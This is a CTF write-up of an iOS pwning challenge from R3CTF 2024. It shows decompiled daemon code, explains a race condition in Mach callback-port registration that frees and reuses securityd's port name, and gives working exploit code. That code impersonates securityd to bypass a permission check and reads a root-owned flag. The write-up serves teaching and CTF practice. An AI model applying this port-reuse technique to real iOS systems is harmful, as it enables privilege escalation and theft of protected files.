Pwn0win: iOS pwning challenges in R3CTF

I authored two iOS pwning challenges in R3CTF 2024 a few weeks ago. This post is a write-up for the challenges.

pwn0win - Forbidden Content

This challenge requires you to read a file that is outside of application’s sandbox and not accessible by mobile user. The challenge was running on an iPhone 8 with iOS 16.7.1.

Players are given two executable files fileviewerd and securityd. And some .defs files related to the IPC interfaces of these two processes. The fileviewerd is a daemon that provides file viewing service to other applications. The securityd is a daemon that provides security verification service to fileviewerd.

In fileviewerd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int __cdecl main(int argc, const char **argv, const char **envp)
{
uintptr_t handle; // ST10_8
__int64 v4; // x0
struct dispatch_queue_s *v5; // ST18_8
dispatch_source_t v6; // ST28_8
void *v8; // [xsp+30h] [xbp-50h]
int v9; // [xsp+38h] [xbp-48h]
int v10; // [xsp+3Ch] [xbp-44h]
__int64 (__fastcall *v11)(); // [xsp+40h] [xbp-40h]
void *v12; // [xsp+48h] [xbp-38h]
__int64 v13; // [xsp+50h] [xbp-30h]
__int64 v14; // [xsp+58h] [xbp-28h]
dispatch_source_t v15; // [xsp+60h] [xbp-20h]
dispatch_queue_t v16; // [xsp+68h] [xbp-18h]
kern_return_t v17; // [xsp+74h] [xbp-Ch]
mach_port_t sp; // [xsp+78h] [xbp-8h]
int v19; // [xsp+7Ch] [xbp-4h]
dispatch_object_t v20; // 0:x0.8

v19 = 0;
v17 = bootstrap_check_in(*(_DWORD *)bootstrap_port_ptr, "com.xia0o0o0o.fileviewerd", &sp);
if ( v17 )
{
NSLog(&stru_1000084C8);
v19 = 1;
}
else
{
NSLog(&stru_1000084E8);
v17 = bootstrap_look_up(*(_DWORD *)bootstrap_port_ptr, "com.xia0o0o0o.securityd", (mach_port_t *)&securityd_port);
if ( !v17 )
{
NSLog(&stru_100008528);
v16 = dispatch_queue_create("queue", (dispatch_queue_attr_t)_dispatch_queue_attr_concurrent_ptr);
handle = sp;
v4 = objc_retainAutoreleaseReturnValue(_dispatch_main_q_ptr);
v5 = (struct dispatch_queue_s *)objc_retainAutoreleasedReturnValue(v4);
v15 = dispatch_source_create((dispatch_source_type_t)_dispatch_source_type_mach_recv_ptr, handle, 0LL, v5);
objc_release(v5);
v6 = v15;
v8 = _NSConcreteStackBlock_ptr;
v9 = -1040187392;
v10 = 0;
v11 = __main_block_invoke;
v12 = &__block_descriptor_48_e8_32s40s_e5_v8__0l;
v13 = objc_retain(v16);
v14 = objc_retain(v15);
dispatch_source_set_event_handler(v6, &v8);
v20._do = v15;
dispatch_resume(v20);
dispatch_main();
}
NSLog(&stru_100008508);
v19 = 1;
}
return v19;
}

It will register a service with com.xia0o0o0o.fileviewerd and look up service with com.xia0o0o0o.securityd.

We can see the event source is basically

1
2
dispatch_source_t source = dispatch_source_create(
DISPATCH_SOURCE_TYPE_MACH_RECV, port, 0, dispatch_get_main_queue());

and the event handler is wrapped in a dispatch_async block.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 __fastcall __main_block_invoke(__int64 a1)
{
__int64 v1; // ST08_8
void *v3; // [xsp+18h] [xbp-38h]
int v4; // [xsp+20h] [xbp-30h]
int v5; // [xsp+24h] [xbp-2Ch]
__int64 (__fastcall *v6)(); // [xsp+28h] [xbp-28h]
void *v7; // [xsp+30h] [xbp-20h]
__int64 v8; // [xsp+38h] [xbp-18h]
__int64 v9; // [xsp+40h] [xbp-10h]
__int64 v10; // [xsp+48h] [xbp-8h]

v10 = a1;
v9 = a1;
v1 = *(_QWORD *)(a1 + 32);
v3 = _NSConcreteStackBlock_ptr;
v4 = -1040187392;
v5 = 0;
v6 = __main_block_invoke_2;
v7 = &__block_descriptor_40_e8_32s_e5_v8__0l;
v8 = objc_retain(*(_QWORD *)(a1 + 40));
dispatch_async(v1, &v3);
return objc_storeStrong(&v8, 0LL);
}

fileviewerd can register a callback port

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 __fastcall SERVER_register_callback(__int64 a1, int a2)
{
int v3; // [xsp+28h] [xbp-8h]

v3 = a2;
if ( global_callback_port )
{
mach_port_deallocate(*(_DWORD *)mach_task_self__ptr, global_callback_port);
NSLog(&stru_100008288);
NSLog(&stru_1000082A8);
}
NSLog(&stru_1000082A8);
NSLog(&stru_1000082C8);
NSLog(&stru_1000082E8);
global_callback_port = v3;
return 0LL;
}

and when calling read_file() or move_file() it will first verify the user of the request and the actual file owner by communicating with securityd.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
__int64 __fastcall SERVER_read_file(int a1, char *a2, __int128 *a3)
{
__int128 *v3; // ST40_8
unsigned __int8 v4; // vf
FILE *v6; // [xsp+58h] [xbp-488h]
__int128 v7; // [xsp+60h] [xbp-480h]
__int128 v8; // [xsp+70h] [xbp-470h]
unsigned int v9; // [xsp+8Ch] [xbp-454h]
__int128 v10; // [xsp+90h] [xbp-450h]
__int128 v11; // [xsp+A0h] [xbp-440h]
mach_error_t error_value; // [xsp+B4h] [xbp-42Ch]
char *v13; // [xsp+B8h] [xbp-428h]
int v14; // [xsp+C0h] [xbp-420h]
unsigned int v15; // [xsp+C4h] [xbp-41Ch]
char v16; // [xsp+C8h] [xbp-418h]
__int64 v17; // [xsp+4C8h] [xbp-18h]

v3 = a3;
v17 = *(_QWORD *)__stack_chk_guard_ptr;
v14 = a1;
v13 = a2;
error_value = 0;
v10 = *a3;
v11 = a3[1];
audit_token_to_pid(&v10);
NSLog(&stru_100008328);
v7 = *v3;
v8 = v3[1];
v9 = audit_token_to_euid(&v7);
NSLog(&stru_100008348);
error_value = CLIENT_check_perm((unsigned int)securityd_port, v9, v13); // check permission,
// send mach msg to
// securityd
if ( error_value )
{
NSLog(&stru_100008368);
__strcpy_chk(&v16, "Permission denied\n", 1024LL);
v15 = error_value;
}
else
{
v6 = fopen(v13, "r");
if ( v6 )
{
bzero(&v16, 0x400uLL);
if ( fread(&v16, 1uLL, 0x400uLL, v6) )
{
fclose(v6);
NSLog(&stru_1000083C8);
if ( global_callback_port
&& (NSLog(&stru_1000083E8),
(error_value = fileviewer_listener_callback((unsigned int)global_callback_port, &v16)) != 0) ) // send mach msg to callback port
{
NSLog(&stru_100008408);
mach_error_string(error_value);
NSLog(&stru_100008428);
v15 = error_value;
}
else
{
v15 = 0;
}
}
else
{
NSLog(&stru_1000083A8);
fclose(v6);
v15 = 5;
}
}
else
{
NSLog(&stru_100008388);
v15 = 5;
}
}
v4 = __OFSUB__(*(_QWORD *)__stack_chk_guard_ptr, v17);
return v15;
}

The move_file() function will also update the permission of the file.

The result will be send back to the callback port. securityd is a simple daemon that verifies the user of the request and the actual file owner.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall SERVER_check_perm(int a1, unsigned int a2, const char *a3)
{
struct stat v4; // [xsp+18h] [xbp-A8h]
const char *v5; // [xsp+A8h] [xbp-18h]
unsigned int v6; // [xsp+B4h] [xbp-Ch]
int v7; // [xsp+B8h] [xbp-8h]

v7 = a1;
v6 = a2;
v5 = a3;
printf(
"%s: check permission for uid=%d path=%s\n",
"kern_return_t SERVER_check_perm(mach_port_t, uint32_t, const char *)",
a2,
a3);
if ( stat(v5, &v4) )
goto LABEL_5;
if ( v4.st_uid != v6 )
{
printf("owner: %d\n", v4.st_uid);
LABEL_5:
printf("Permission denied\n");
return 5;
}
return 0;
}

Vulnerability

The event handling is wrapped in a dispatch_async block which means the event processing can be raced. The problem now becomes what should we race for?

In XNU, the mach_port_name_t is a 32-bit integer used as an index in the task’s is_table to find the real port in kernel space.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// get the address of ipc_port in Def1nit3lyN0tAJa1lbr3akTool

uint64_t ipc_entry_lookup(mach_port_t port_name) {
struct kfd *kfd = (struct kfd *)__kfd;
uint64_t task = kfd->info.kernel.current_task;
uint64_t itk_space = kread64(task + off_task_itk_space);
uint32_t port_index = MACH_PORT_INDEX(port_name);
uint64_t is_table = kread64(itk_space + off_ipc_space_is_table);
is_table = kernel_pointer_decode(is_table);
uint64_t entry = is_table + port_index * 0x18;
return entry;
}

uint64_t port_name_to_ipc_port(mach_port_t port_name) {
uint64_t entry = ipc_entry_lookup(port_name);
uint64_t ipc_port = kread64(entry + 0x0);
return ipc_port;
}

uint64_t port_name_to_ipc_port_for_pid(mach_port_t name, pid_t pid) {
uint64_t entry = ipc_entry_lookup_for_pid(name, pid);
return kread64(entry);
}

This 32-bit integer can be reused after deallocation. Notice that our application can also get a send right to securityd, what if we can deallocate the securityd in fileviewerd and reuse the port name?

In our own process, we can look up for a send right to securityd and set it as the callback port in fileviewerd. When registering the callback port, fileviewerd will deallocate the old callback port if it exists.

1
2
3
4
5
6
if ( global_callback_port )
{
mach_port_deallocate(*(_DWORD *)mach_task_self__ptr, global_callback_port);
NSLog(&stru_100008288);
NSLog(&stru_1000082A8);
}

So if we call this twice, the securityd port will be deallocated. But fileviewerd still uses the old port name to send messages to securityd. If we keep registering callback port we can probably reuse the port name and all messages sent to securityd will be sent to our callback port. This enables an MITM attack.

Exploit

First we can look up for the securityd port and set it as the callback port.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// Lookup the receiver port using the bootstrap server.
kern_return_t kr = bootstrap_look_up(bootstrap_port, "com.xia0o0o0o.fileviewerd", &port);
int mypid = getpid();
printf("My pid is %d\n", mypid);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("Port right name %d\n", port);

kr = bootstrap_look_up(bootstrap_port, "com.xia0o0o0o.securityd", &securityd_port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
kr = CLIENT_register_callback(port, securityd_port);
if (kr != KERN_SUCCESS) {
printf("CLIENT_register_callback() failed with code 0x%x\n", kr);
return 1;
}

Then we can try to decrease the reference count of the port by

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void *race_condition(void *arg) {
while(!trigger) { }
CLIENT_register_callback(port, dummy);
return NULL;
}

void dec_ref() {
// create 2 threads to call race_condition()
pthread_t thread1, thread2;
pthread_create(&thread1, NULL, race_condition, NULL);
pthread_create(&thread2, NULL, race_condition, NULL);
// trigger
sleep(1);
trigger = 1;
// wait for the threads to finish
pthread_join(thread1, NULL);
pthread_join(thread2, NULL);
}

If everything goes well, the securityd port will be deallocated and we can reuse the port name.
We can create our own securityd message handling function and always return 0 to bypass the permission check.

1
2
3
4
5
6
7
int got = 0;
// int got = 0;
kern_return_t SERVER_check_perm(mach_port_t server_port, uint32_t uid, const char *path) {
printf("check permission for uid=%d path=%s\n", uid, path);
got = 1;
return KERN_SUCCESS;
}

And now we can keep registering the callback port and wait for the message from fileviewerd.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
while (!got) {
CLIENT_remove_callback(port);
usleep(100000);

mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &fake_securityd_port);
mach_port_extract_right(mach_task_self(),
fake_securityd_port, MACH_MSG_TYPE_MAKE_SEND, &listener_send_right, &r);
CLIENT_register_callback(port, listener_send_right);
usleep(100000);
dispatch_queue_main_t queue = dispatch_queue_create("queue", NULL);
dispatch_source_t source = dispatch_source_create(
DISPATCH_SOURCE_TYPE_MACH_RECV, fake_securityd_port, 0, queue);
dispatch_source_set_event_handler(source, ^{
dispatch_mig_server(source, MAX_MSG_SIZE, security_server);
});
dispatch_resume(source);

CLIENT_read_file(port, "/var/jb/var/root/flag");
usleep(100000);
}

Then we can move the flag into our sandbox and change its permission

1
CLIENT_move_file(port, "/var/jb/var/root/flag", [NSString stringWithFormat:@"%@/flag", [NSBundle mainBundle].bundleURL.path].UTF8String);

And that’s it! We can now read the flag in our own sandbox.